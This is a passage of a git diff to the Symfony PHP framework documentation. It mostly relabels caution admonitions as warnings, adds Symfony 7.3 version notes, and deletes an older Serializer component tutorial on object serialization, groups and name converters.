+    $response->setChunks($chunks);
+    $response->send();
+
+For most complex use cases, the response content can be instead represented by
+a PHP callable::
 
     use Symfony\Component\HttpFoundation\StreamedResponse;
 
@@ -708,6 +721,10 @@ represented by a PHP callable instead of a string::
         // disables FastCGI buffering in nginx only for this response
         $response->headers->set('X-Accel-Buffering', 'no');
 
+.. versionadded:: 7.3
+
+    Support for using string iterables was introduced in Symfony 7.3.
+
 Streaming a JSON Response
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 97de70b66df..02791b370bc 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -471,7 +471,7 @@ you will trigger the ``kernel.terminate`` event where you can perform certain
 actions that you may have delayed in order to return the response as quickly
 as possible to the client (e.g. sending emails).
 
-.. caution::
+.. warning::
 
     Internally, the HttpKernel makes use of the :phpfunction:`fastcgi_finish_request`
     PHP function. This means that at the moment, only the `PHP FPM`_ server
diff --git a/components/ldap.rst b/components/ldap.rst
index d5f6bc3fdfe..e52a341986c 100644
--- a/components/ldap.rst
+++ b/components/ldap.rst
@@ -70,7 +70,7 @@ distinguished name (DN) and the password of a user::
 
     $ldap->bind($dn, $password);
 
-.. caution::
+.. danger::
 
     When the LDAP server allows unauthenticated binds, a blank password will always be valid.
 
diff --git a/components/lock.rst b/components/lock.rst
index bf75fb49f7a..b8ba38c8fc7 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -359,7 +359,7 @@ lose the lock it acquired automatically::
         throw new \Exception('Process failed');
     }
 
-.. caution::
+.. warning::
 
     A common pitfall might be to use the ``isAcquired()`` method to check if
     a lock has already been acquired by any process. As you can see in this example
@@ -427,7 +427,7 @@ when the PHP process ends)::
     // if none is given, sys_get_temp_dir() is used internally.
     $store = new FlockStore('/var/stores');
 
-.. caution::
+.. warning::
 
     Beware that some file systems (such as some types of NFS) do not support
     locking. In those cases, it's better to use a directory on a local disk
@@ -668,7 +668,7 @@ the stores::
 
     $store = new CombinedStore($stores, new UnanimousStrategy());
 
-.. caution::
+.. warning::
 
     In order to get high availability when using the ``ConsensusStrategy``, the
     minimum cluster size must be three servers. This allows the cluster to keep
@@ -720,7 +720,7 @@ the ``Lock``.
 Every concurrent process must store the ``Lock`` on the same server. Otherwise two
 different machines may allow two different processes to acquire the same ``Lock``.
 
-.. caution::
+.. warning::
 
     To guarantee that the same server will always be safe, do not use Memcached
     behind a LoadBalancer, a cluster or round-robin DNS. Even if the main server
@@ -762,12 +762,12 @@ Using the above methods, a robust code would be::
         // Perform the task whose duration MUST be less than 5 seconds
     }
 
-.. caution::
+.. warning::
 
     Choose wisely the lifetime of the ``Lock`` and check whether its remaining
     time to live is enough to perform the task.
 
-.. caution::
+.. warning::
 
     Storing a ``Lock`` usually takes a few milliseconds, but network conditions
     may increase that time a lot (up to a few seconds). Take that into account
@@ -776,7 +776,7 @@ Using the above methods, a robust code would be::
 By design, locks are stored on servers with a defined lifetime. If the date or
 time of the machine changes, a lock could be released sooner than expected.
 
-.. caution::
+.. warning::
 
     To guarantee that date won't change, the NTP service should be disabled
     and the date should be updated when the service is stopped.
@@ -798,7 +798,7 @@ deployments.
 
 Some file systems (such as some types of NFS) do not support locking.
 
-.. caution::
+.. warning::
 
     All concurrent processes must use the same physical file system by running
     on the same machine and using the same absolute path to the lock directory.
@@ -827,7 +827,7 @@ and may disappear by mistake at any time.
 If the Memcached service or the machine hosting it restarts, every lock would
 be lost without notifying the running processes.
 
-.. caution::
+.. warning::
 
     To avoid that someone else acquires a lock after a restart, it's recommended
     to delay service start and wait at least as long as the longest lock TTL.
@@ -835,7 +835,7 @@ be lost without notifying the running processes.
 By default Memcached uses a LRU mechanism to remove old entries when the service
 needs space to add new items.
 
-.. caution::
+.. warning::
 
     The number of items stored in Memcached must be under control. If it's not
     possible, LRU should be disabled and Lock should be stored in a dedicated
@@ -853,7 +853,7 @@ method uses the Memcached's ``flush()`` method which purges and removes everythi
 MongoDbStore
 ~~~~~~~~~~~~
 
-.. caution::
+.. warning::
 
     The locked resource name is indexed in the ``_id`` field of the lock
     collection. Beware that an indexed field's value in MongoDB can be
@@ -879,7 +879,7 @@ about `Expire Data from Collections by Setting TTL`_ in MongoDB.
     recommended to set constructor option ``gcProbability`` to ``0.0`` to
     disable this behavior if you have manually dealt with TTL index creation.
 
-.. caution::
+.. warning::
 
     This store relies on all PHP application and database nodes to have
     synchronized clocks for lock expiry to occur at the correct time. To ensure
@@ -896,12 +896,12 @@ PdoStore
 
 The PdoStore relies on the `ACID`_ properties of the SQL engine.
 
-.. caution::
+.. warning::
 
     In a cluster configured with multiple primaries, ensure writes are
     synchronously propagated to every node, or always use the same node.
 
-.. caution::
+.. warning::
 
     Some SQL engines like MySQL allow to disable the unique constraint check.
     Ensure that this is not the case ``SET unique_checks=1;``.
@@ -910,7 +910,7 @@ In order to purge old locks, this store uses a current datetime to define an
 expiration date reference. This mechanism relies on all server nodes to
 have synchronized clocks.
 
-.. caution::
+.. warning::
 
     To ensure locks don't expire prematurely; the TTLs should be set with
     enough extra time to account for any clock drift between nodes.
@@ -939,7 +939,7 @@ and may disappear by mistake at any time.
 If the Redis service or the machine hosting it restarts, every locks would
 be lost without notifying the running processes.
 
-.. caution::
+.. warning::
 
     To avoid that someone else acquires a lock after a restart, it's recommended
     to delay service start and wait at least as long as the longest lock TTL.
@@ -967,7 +967,7 @@ The ``CombinedStore`` will be, at best, as reliable as the least reliable of
 all managed stores. As soon as one managed store returns erroneous information,
 the ``CombinedStore`` won't be reliable.
 
-.. caution::
+.. warning::
 
     All concurrent processes must use the same configuration, with the same
     amount of managed stored and the same endpoint.
@@ -985,13 +985,13 @@ must run on the same machine, virtual machine or container. Be careful when
 updating a Kubernetes or Swarm service because for a short period of time, there
 can be two running containers in parallel.
 
-.. caution::
+.. warning::
 
     All concurrent processes must use the same machine. Before starting a
     concurrent process on a new machine, check that other processes are stopped
     on the old one.
 
-.. caution::
+.. warning::
 
     When running on systemd with non-system user and option ``RemoveIPC=yes``
     (default value), locks are deleted by systemd when that user logs out.
diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index c8052d0d395..ff25f9e0fc4 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -485,7 +485,7 @@ these options, you can return the desired default value::
         }
     }
 
-.. caution::
+.. warning::
 
     The argument of the callable must be type hinted as ``Options``. Otherwise,
     the callable itself is considered as the default value of the option.
@@ -699,7 +699,7 @@ to the closure to access to them::
         }
     }
 
-.. caution::
+.. warning::
 
     The arguments of the closure must be type hinted as ``OptionsResolver`` and
     ``Options`` respectively. Otherwise, the closure itself is considered as the
diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index ba37bc0ecda..5ce4c003a11 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -253,7 +253,7 @@ deprecations but:
 * forget to mark appropriate tests with the ``@group legacy`` annotations.
 
 By using ``SYMFONY_DEPRECATIONS_HELPER=max[self]=0``, deprecations that are
-triggered outside the ``vendors`` directory will be accounted for separately,
+triggered outside the ``vendor/`` directory will be accounted for separately,
 while deprecations triggered from a library inside it will not (unless you reach
 999999 of these), giving you the best of both worlds.
 
@@ -621,7 +621,7 @@ test::
 
 And that's all!
 
-.. caution::
+.. warning::
 
     Time-based function mocking follows the `PHP namespace resolutions rules`_
     so "fully qualified function calls" (e.g ``\time()``) cannot be mocked.
diff --git a/components/process.rst b/components/process.rst
index 9502665dde1..f6c8837d2c3 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -108,7 +108,7 @@ You can configure the options passed to the ``other_options`` argument of
     // this option allows a subprocess to continue running after the main script exited
     $process->setOptions(['create_new_console' => true]);
 
-.. caution::
+.. warning::
 
     Most of the options defined by ``proc_open()`` (such as ``create_new_console``
     and ``suppress_errors``) are only supported on Windows operating systems.
@@ -552,7 +552,7 @@ Use :method:`Symfony\\Component\\Process\\Process::disableOutput` and
     $process->disableOutput();
     $process->run();
 
-.. caution::
+.. warning::
 
     You cannot enable or disable the output while the process is running.
 
diff --git a/components/property_access.rst b/components/property_access.rst
index 600481dce1a..f608640fa9b 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -26,6 +26,8 @@ default configuration::
 
     $propertyAccessor = PropertyAccess::createPropertyAccessor();
 
+.. _property-access-reading-arrays:
+
 Reading from Arrays
 -------------------
 
@@ -112,7 +114,7 @@ To read from properties, use the "dot" notation::
 
     var_dump($propertyAccessor->getValue($person, 'children[0].firstName')); // 'Bar'
 
-.. caution::
+.. warning::
 
     Accessing public properties is the last option used by ``PropertyAccessor``.
     It tries to access the value using the below methods first before using
@@ -260,7 +262,7 @@ The ``getValue()`` method can also use the magic ``__get()`` method::
 
     var_dump($propertyAccessor->getValue($person, 'Wouter')); // [...]
 
-.. caution::
+.. warning::
 
     When implementing the magic ``__get()`` method, you also need to implement
     ``__isset()``.
@@ -301,7 +303,7 @@ enable this feature by using :class:`Symfony\\Component\\PropertyAccess\\Propert
 
     var_dump($propertyAccessor->getValue($person, 'wouter')); // [...]
 
-.. caution::
+.. warning::
 
     The ``__call()`` feature is disabled by default, you can enable it by calling
     :method:`Symfony\\Component\\PropertyAccess\\PropertyAccessorBuilder::enableMagicCall`
diff --git a/components/property_info.rst b/components/property_info.rst
index 892cd5345a3..0ff1768441a 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -469,7 +469,18 @@ information from annotations of properties and methods, such as ``@var``,
     use App\Domain\Foo;
 
     $phpStanExtractor = new PhpStanExtractor();
+
+    // Type information.
     $phpStanExtractor->getTypesFromConstructor(Foo::class, 'bar');
+    // Description information.
+    $phpStanExtractor->getShortDescription($class, 'bar');
+    $phpStanExtractor->getLongDescription($class, 'bar');
+
+.. versionadded:: 7.3
+
+    The :method:`Symfony\\Component\\PropertyInfo\\Extractor\\PhpStanExtractor::getShortDescription`
+    and :method:`Symfony\\Component\\PropertyInfo\\Extractor\\PhpStanExtractor::getLongDescription`
+    methods were introduced in Symfony 7.3.
 
 SerializerExtractor
 ~~~~~~~~~~~~~~~~~~~
@@ -478,9 +489,9 @@ SerializerExtractor
 
     This extractor depends on the `symfony/serializer`_ library.
 
-Using :ref:`groups metadata <serializer-using-serialization-groups-attributes>`
-from the :doc:`Serializer component </components/serializer>`,
-the :class:`Symfony\\Component\\PropertyInfo\\Extractor\\SerializerExtractor`
+Using :ref:`groups metadata <serializer-groups-attribute>` from the
+:doc:`Serializer component </serializer>`, the
+:class:`Symfony\\Component\\PropertyInfo\\Extractor\\SerializerExtractor`
 provides list information. This extractor is *not* registered automatically
 with the ``property_info`` service in the Symfony Framework::
 
diff --git a/components/runtime.rst b/components/runtime.rst
index 7d17e7e7456..4eb75de2a75 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -3,7 +3,7 @@ The Runtime Component
 
     The Runtime Component decouples the bootstrapping logic from any global state
     to make sure the application can run with runtimes like `PHP-PM`_, `ReactPHP`_,
-    `Swoole`_, etc. without any changes.
+    `Swoole`_, `FrankenPHP`_ etc. without any changes.
 
 Installation
 ------------
@@ -42,7 +42,7 @@ the component. This file runs the following logic:
 #. At last, the Runtime is used to run the application (i.e. calling
    ``$kernel->handle(Request::createFromGlobals())->send()``).
 
-.. caution::
+.. warning::
 
     If you use the Composer ``--no-plugins`` option, the ``autoload_runtime.php``
     file won't be created.
@@ -487,6 +487,7 @@ The end user will now be able to create front controller like::
 
 .. _PHP-PM: https://github.com/php-pm/php-pm
 .. _Swoole: https://openswoole.com/
+.. _FrankenPHP: https://frankenphp.dev/
 .. _ReactPHP: https://reactphp.org/
 .. _`PSR-15`: https://www.php-fig.org/psr/psr-15/
 .. _`runtime template file`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Runtime/Internal/autoload_runtime.template
diff --git a/components/serializer.rst b/components/serializer.rst
deleted file mode 100644
index 0764612e28a..00000000000
--- a/components/serializer.rst
+++ /dev/null
@@ -1,1938 +0,0 @@
-The Serializer Component
-========================
-
-    The Serializer component is meant to be used to turn objects into a
-    specific format (XML, JSON, YAML, ...) and the other way around.
-
-In order to do so, the Serializer component follows the following schema.
-
-.. raw:: html
-
-    <object data="../_images/components/serializer/serializer_workflow.svg" type="image/svg+xml"
-        alt="A flow diagram showing how objects are serialized/deserialized. This is described in the subsequent paragraph."
-    ></object>
-
-When (de)serializing objects, the Serializer uses an array as the intermediary
-between objects and serialized contents. Encoders will only deal with
-turning specific **formats** into **arrays** and vice versa. The same way,
-normalizers will deal with turning specific **objects** into **arrays** and
-vice versa. The Serializer deals with calling the normalizers and encoders
-when serializing objects or deserializing formats.
-
-Serialization is a complex topic. This component may not cover all your use
-cases out of the box, but it can be useful for developing tools to
-serialize and deserialize your objects.
-
-Installation
-------------
-
-.. code-block:: terminal
-
-    $ composer require symfony/serializer
-
-.. include:: /components/require_autoload.rst.inc
-
-To use the ``ObjectNormalizer``, the :doc:`PropertyAccess component </components/property_access>`
-must also be installed.
-
-Usage
------
-
-.. seealso::
-
-    This article explains the philosophy of the Serializer and gets you familiar
-    with the concepts of normalizers and encoders. The code examples assume
-    that you use the Serializer as an independent component. If you are using
-    the Serializer in a Symfony application, read :doc:`/serializer` after you
-    finish this article.
-
-To use the Serializer component, set up the
-:class:`Symfony\\Component\\Serializer\\Serializer` specifying which encoders
-and normalizer are going to be available::
-
-    use Symfony\Component\Serializer\Encoder\JsonEncoder;
-    use Symfony\Component\Serializer\Encoder\XmlEncoder;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $encoders = [new XmlEncoder(), new JsonEncoder()];
-    $normalizers = [new ObjectNormalizer()];
-
-    $serializer = new Serializer($normalizers, $encoders);
-
-The preferred normalizer is the
-:class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`,
-but other normalizers are available. All the examples shown below use
-the ``ObjectNormalizer``.
-
-Serializing an Object
----------------------
-
-For the sake of this example, assume the following class already
-exists in your project::
-
-    namespace App\Model;
-
-    class Person
-    {
-        private int $age;
-        private string $name;
-        private bool $sportsperson;
-        private ?\DateTimeInterface $createdAt;
-
-        // Getters
-        public function getAge(): int
-        {
-            return $this->age;
-        }
-
-        public function getName(): string
-        {
-            return $this->name;
-        }
-
-        public function getCreatedAt(): ?\DateTimeInterface
-        {
-            return $this->createdAt;
-        }
-
-        // Issers
-        public function isSportsperson(): bool
-        {
-            return $this->sportsperson;
-        }
-
-        // Setters
-        public function setAge(int $age): void
-        {
-            $this->age = $age;
-        }
-
-        public function setName(string $name): void
-        {
-            $this->name = $name;
-        }
-
-        public function setSportsperson(bool $sportsperson): void
-        {
-            $this->sportsperson = $sportsperson;
-        }
-
-        public function setCreatedAt(?\DateTimeInterface $createdAt = null): void
-        {
-            $this->createdAt = $createdAt;
-        }
-    }
-
-Now, if you want to serialize this object into JSON, you only need to
-use the Serializer service created before::
-
-    use App\Model\Person;
-
-    $person = new Person();
-    $person->setName('foo');
-    $person->setAge(99);
-    $person->setSportsperson(false);
-
-    $jsonContent = $serializer->serialize($person, 'json');
-
-    // $jsonContent contains {"name":"foo","age":99,"sportsperson":false,"createdAt":null}
-
-    echo $jsonContent; // or return it in a Response
-
-The first parameter of the :method:`Symfony\\Component\\Serializer\\Serializer::serialize`
-is the object to be serialized and the second is used to choose the proper encoder,
-in this case :class:`Symfony\\Component\\Serializer\\Encoder\\JsonEncoder`.
-
-Deserializing an Object
------------------------
-
-You'll now learn how to do the exact opposite. This time, the information
-of the ``Person`` class would be encoded in XML format::
-
-    use App\Model\Person;
-
-    $data = <<<EOF
-    <person>
-        <name>foo</name>
-        <age>99</age>
-        <sportsperson>false</sportsperson>
-    </person>
-    EOF;
-
-    $person = $serializer->deserialize($data, Person::class, 'xml');
-
-In this case, :method:`Symfony\\Component\\Serializer\\Serializer::deserialize`
-needs three parameters:
-
-#. The information to be decoded
-#. The name of the class this information will be decoded to
-#. The encoder used to convert that information into an array
-
-By default, additional attributes that are not mapped to the denormalized object
-will be ignored by the Serializer component. If you prefer to throw an exception
-when this happens, set the ``AbstractNormalizer::ALLOW_EXTRA_ATTRIBUTES`` context option to
-``false`` and provide an object that implements ``ClassMetadataFactoryInterface``
-when constructing the normalizer::
-
-    use App\Model\Person;
-
-    $data = <<<EOF
-    <person>
-        <name>foo</name>
-        <age>99</age>
-        <city>Paris</city>
-    </person>
-    EOF;
-
-    // $loader is any of the valid loaders explained later in this article
-    $classMetadataFactory = new ClassMetadataFactory($loader);
-    $normalizer = new ObjectNormalizer($classMetadataFactory);
-    $serializer = new Serializer([$normalizer]);
-
-    // this will throw a Symfony\Component\Serializer\Exception\ExtraAttributesException
-    // because "city" is not an attribute of the Person class
-    $person = $serializer->deserialize($data, Person::class, 'xml', [
-        AbstractNormalizer::ALLOW_EXTRA_ATTRIBUTES => false,
-    ]);
-
-Deserializing in an Existing Object
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-The serializer can also be used to update an existing object::
-
-    // ...
-    $person = new Person();
-    $person->setName('bar');
-    $person->setAge(99);
-    $person->setSportsperson(true);
-
-    $data = <<<EOF
-    <person>
-        <name>foo</name>
-        <age>69</age>
-    </person>
-    EOF;
-
-    $serializer->deserialize($data, Person::class, 'xml', [AbstractNormalizer::OBJECT_TO_POPULATE => $person]);
-    // $person = App\Model\Person(name: 'foo', age: '69', sportsperson: true)
-
-This is a common need when working with an ORM.
-
-The ``AbstractNormalizer::OBJECT_TO_POPULATE`` is only used for the top level object. If that object
-is the root of a tree structure, all child elements that exist in the
-normalized data will be re-created with new instances.
-
-When the ``AbstractObjectNormalizer::DEEP_OBJECT_TO_POPULATE`` option is set to
-true, existing children of the root ``OBJECT_TO_POPULATE`` are updated from the
-normalized data, instead of the denormalizer re-creating them. Note that
-``DEEP_OBJECT_TO_POPULATE`` only works for single child objects, but not for
-arrays of objects. Those will still be replaced when present in the normalized
-data.
-
-Context
--------
-
-Many Serializer features can be configured :ref:`using a context <serializer_serializer-context>`.
-
-.. _component-serializer-attributes-groups:
-
-Attributes Groups
------------------
-
-Sometimes, you want to serialize different sets of attributes from your
-entities. Groups are a handy way to achieve this need.
-
-Assume you have the following plain-old-PHP object::
-
-    namespace Acme;
-
-    class MyObj
-    {
-        public string $foo;
-
-        private string $bar;
-
-        public function getBar(): string
-        {
-            return $this->bar;
-        }
-
-        public function setBar($bar): string
-        {
-            return $this->bar = $bar;
-        }
-    }
-
-The definition of serialization can be specified using attributes, XML or YAML.
-The :class:`Symfony\\Component\\Serializer\\Mapping\\Factory\\ClassMetadataFactory`
-that will be used by the normalizer must be aware of the format to use.
-
-The following code shows how to initialize the :class:`Symfony\\Component\\Serializer\\Mapping\\Factory\\ClassMetadataFactory`
-for each format:
-
-* Attributes in PHP files::
-
-    use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
-    use Symfony\Component\Serializer\Mapping\Loader\AttributeLoader;
-
-    $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
-
-* YAML files::
-
-    use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
-    use Symfony\Component\Serializer\Mapping\Loader\YamlFileLoader;
-
-    $classMetadataFactory = new ClassMetadataFactory(new YamlFileLoader('/path/to/your/definition.yaml'));
-
-* XML files::
-
-    use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
-    use Symfony\Component\Serializer\Mapping\Loader\XmlFileLoader;
-
-    $classMetadataFactory = new ClassMetadataFactory(new XmlFileLoader('/path/to/your/definition.xml'));
-
-.. _component-serializer-attributes-groups-attributes:
-
-Then, create your groups definition:
-
-.. configuration-block::
-
-    .. code-block:: php-attributes
-
-        namespace Acme;
-
-        use Symfony\Component\Serializer\Annotation\Groups;
-
-        class MyObj
-        {
-            #[Groups(['group1', 'group2'])]
-            public string $foo;
-
-            #[Groups(['group4'])]
-            public string $anotherProperty;
-
-            #[Groups(['group3'])]
-            public function getBar() // is* methods are also supported
-            {
-                return $this->bar;
-            }
-
-            // ...
-        }
-
-    .. code-block:: yaml
-
-        Acme\MyObj:
-            attributes:
-                foo:
-                    groups: ['group1', 'group2']
-                anotherProperty:
-                    groups: ['group4']
-                bar:
-                    groups: ['group3']
-
-    .. code-block:: xml
-
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
-                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
-        >
-            <class name="Acme\MyObj">
-                <attribute name="foo">
-                    <group>group1</group>
-                    <group>group2</group>
-                </attribute>
-
-                <attribute name="anotherProperty">
-                    <group>group4</group>
-                </attribute>
-
-                <attribute name="bar">
-                    <group>group3</group>
-                </attribute>
-            </class>
-        </serializer>
-
-You are now able to serialize only attributes in the groups you want::
-
-    use Acme\MyObj;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $obj = new MyObj();
-    $obj->foo = 'foo';
-    $obj->anotherProperty = 'anotherProperty';
-    $obj->setBar('bar');
-
-    $normalizer = new ObjectNormalizer($classMetadataFactory);
-    $serializer = new Serializer([$normalizer]);
-
-    $data = $serializer->normalize($obj, null, ['groups' => 'group1']);
-    // $data = ['foo' => 'foo'];
-
-    $obj2 = $serializer->denormalize(
-        ['foo' => 'foo', 'anotherProperty' => 'anotherProperty', 'bar' => 'bar'],
-        MyObj::class,
-        null,
-        ['groups' => ['group1', 'group3']]
-    );
-    // $obj2 = MyObj(foo: 'foo', bar: 'bar')
-
-    // To get all groups, use the special value `*` in `groups`
-    $obj3 = $serializer->denormalize(
-        ['foo' => 'foo', 'anotherProperty' => 'anotherProperty', 'bar' => 'bar'],
-        MyObj::class,
-        null,
-        ['groups' => ['*']]
-    );
-    // $obj2 = MyObj(foo: 'foo', anotherProperty: 'anotherProperty', bar: 'bar')
-
-.. _ignoring-attributes-when-serializing:
-
-Selecting Specific Attributes
------------------------------
-
-It is also possible to serialize only a set of specific attributes::
-
-    use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    class User
-    {
-        public string $familyName;
-        public string $givenName;
-        public Company $company;
-    }
-
-    class Company
-    {
-        public string $name;
-        public string $address;
-    }
-
-    $company = new Company();
-    $company->name = 'Les-Tilleuls.coop';
-    $company->address = 'Lille, France';
-
-    $user = new User();
-    $user->familyName = 'Dunglas';
-    $user->givenName = 'Kévin';
-    $user->company = $company;
-
-    $serializer = new Serializer([new ObjectNormalizer()]);
-
-    $data = $serializer->normalize($user, null, [AbstractNormalizer::ATTRIBUTES => ['familyName', 'company' => ['name']]]);
-    // $data = ['familyName' => 'Dunglas', 'company' => ['name' => 'Les-Tilleuls.coop']];
-
-Only attributes that are not ignored (see below) are available.
-If some serialization groups are set, only attributes allowed by those groups can be used.
-
-As for groups, attributes can be selected during both the serialization and deserialization processes.
-
-.. _serializer_ignoring-attributes:
-
-Ignoring Attributes
--------------------
-
-All accessible attributes are included by default when serializing objects.
-There are two options to ignore some of those attributes.
-
-Option 1: Using ``#[Ignore]`` Attribute
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-.. configuration-block::
-
-    .. code-block:: php-attributes
-
-        namespace App\Model;
-
-        use Symfony\Component\Serializer\Annotation\Ignore;
-
-        class MyClass
-        {
-            public string $foo;
-
-            #[Ignore]
-            public string $bar;
-        }
-
-    .. code-block:: yaml
-
-        App\Model\MyClass:
-            attributes:
-                bar:
-                    ignore: true
-
-    .. code-block:: xml
-
-        <?xml version="1.0" ?>
-        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
-                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
-        >
-            <class name="App\Model\MyClass">
-                <attribute name="bar" ignore="true"/>
-            </class>
-        </serializer>
-
-You can now ignore specific attributes during serialization::
-
-    use App\Model\MyClass;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $obj = new MyClass();
-    $obj->foo = 'foo';
-    $obj->bar = 'bar';
-
-    $normalizer = new ObjectNormalizer($classMetadataFactory);
-    $serializer = new Serializer([$normalizer]);
-
-    $data = $serializer->normalize($obj);
-    // $data = ['foo' => 'foo'];
-
-Option 2: Using the Context
-~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Pass an array with the names of the attributes to ignore using the
-``AbstractNormalizer::IGNORED_ATTRIBUTES`` key in the ``context`` of the
-serializer method::
-
-    use Acme\Person;
-    use Symfony\Component\Serializer\Encoder\JsonEncoder;
-    use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $person = new Person();
-    $person->setName('foo');
-    $person->setAge(99);
-
-    $normalizer = new ObjectNormalizer();
-    $encoder = new JsonEncoder();
-
-    $serializer = new Serializer([$normalizer], [$encoder]);
-    $serializer->serialize($person, 'json', [AbstractNormalizer::IGNORED_ATTRIBUTES => ['age']]); // Output: {"name":"foo"}
-
-.. _component-serializer-converting-property-names-when-serializing-and-deserializing:
-
-Converting Property Names when Serializing and Deserializing
-------------------------------------------------------------
-
-Sometimes serialized attributes must be named differently than properties
-or getter/setter methods of PHP classes.
-
-The Serializer component provides a handy way to translate or map PHP field
-names to serialized names: The Name Converter System.
-
-Given you have the following object::
-
-    class Company
-    {
-        public string $name;
-        public string $address;
-    }
-
-And in the serialized form, all attributes must be prefixed by ``org_`` like
-the following::
-
-    {"org_name": "Acme Inc.", "org_address": "123 Main Street, Big City"}
-
-A custom name converter can handle such cases::
-
-    use Symfony\Component\Serializer\NameConverter\NameConverterInterface;
-
-    class OrgPrefixNameConverter implements NameConverterInterface
-    {
-        public function normalize(string $propertyName, ?string $class = null, ?string $format = null, array $context = []): string
-        {
-            return 'org_'.$propertyName;
-        }
-
-        public function denormalize(string $propertyName, ?string $class = null, ?string $format = null, array $context = []): string
-        {
-            // removes 'org_' prefix
-            return str_starts_with($propertyName, 'org_') ? substr($propertyName, 4) : $propertyName;
-        }
-    }
-
-The custom name converter can be used by passing it as second parameter of any
-class extending :class:`Symfony\\Component\\Serializer\\Normalizer\\AbstractNormalizer`,
-including :class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer`
-and :class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer`::
-
-    use Symfony\Component\Serializer\Encoder\JsonEncoder;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $nameConverter = new OrgPrefixNameConverter();
-    $normalizer = new ObjectNormalizer(null, $nameConverter);
-
-    $serializer = new Serializer([$normalizer], [new JsonEncoder()]);
-
-    $company = new Company();
-    $company->name = 'Acme Inc.';
-    $company->address = '123 Main Street, Big City';
-
-    $json = $serializer->serialize($company, 'json');
-    // {"org_name": "Acme Inc.", "org_address": "123 Main Street, Big City"}
-    $companyCopy = $serializer->deserialize($json, Company::class, 'json');
-    // Same data as $company
-
-.. _using-camelized-method-names-for-underscored-attributes:
-
-CamelCase to snake_case
-~~~~~~~~~~~~~~~~~~~~~~~
-
-In many formats, it's common to use underscores to separate words (also known
-as snake_case). However, in Symfony applications is common to use CamelCase to
-name properties (even though the `PSR-1 standard`_ doesn't recommend any
-specific case for property names).
-
-Symfony provides a built-in name converter designed to transform between
-snake_case and CamelCased styles during serialization and deserialization
-processes::
-
-    use Symfony\Component\Serializer\NameConverter\CamelCaseToSnakeCaseNameConverter;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-
-    $normalizer = new ObjectNormalizer(null, new CamelCaseToSnakeCaseNameConverter());
-
-    class Person
-    {
-        public function __construct(
-            private string $firstName,
-        ) {
-        }
-
-        public function getFirstName(): string
-        {
-            return $this->firstName;
-        }
-    }
-
-    $kevin = new Person('Kévin');
-    $normalizer->normalize($kevin);
-    // ['first_name' => 'Kévin'];
-
-    $anne = $normalizer->denormalize(['first_name' => 'Anne'], 'Person');
-    // Person object with firstName: 'Anne'
-
-.. _serializer_name-conversion:
-
-Configure name conversion using metadata
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-When using this component inside a Symfony application and the class metadata
-factory is enabled as explained in the :ref:`Attributes Groups section <component-serializer-attributes-groups>`,
-this is already set up and you only need to provide the configuration. Otherwise::
-
-    // ...
-    use Symfony\Component\Serializer\Encoder\JsonEncoder;
-    use Symfony\Component\Serializer\NameConverter\MetadataAwareNameConverter;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
-
-    $metadataAwareNameConverter = new MetadataAwareNameConverter($classMetadataFactory);
-
-    $serializer = new Serializer(
-        [new ObjectNormalizer($classMetadataFactory, $metadataAwareNameConverter)],
-        ['json' => new JsonEncoder()]
-    );
-
-Now configure your name conversion mapping. Consider an application that
-defines a ``Person`` entity with a ``firstName`` property:
-
-.. configuration-block::
-
-    .. code-block:: php-attributes
-
-        namespace App\Entity;
-
-        use Symfony\Component\Serializer\Annotation\SerializedName;
-
-        class Person
-        {
-            public function __construct(
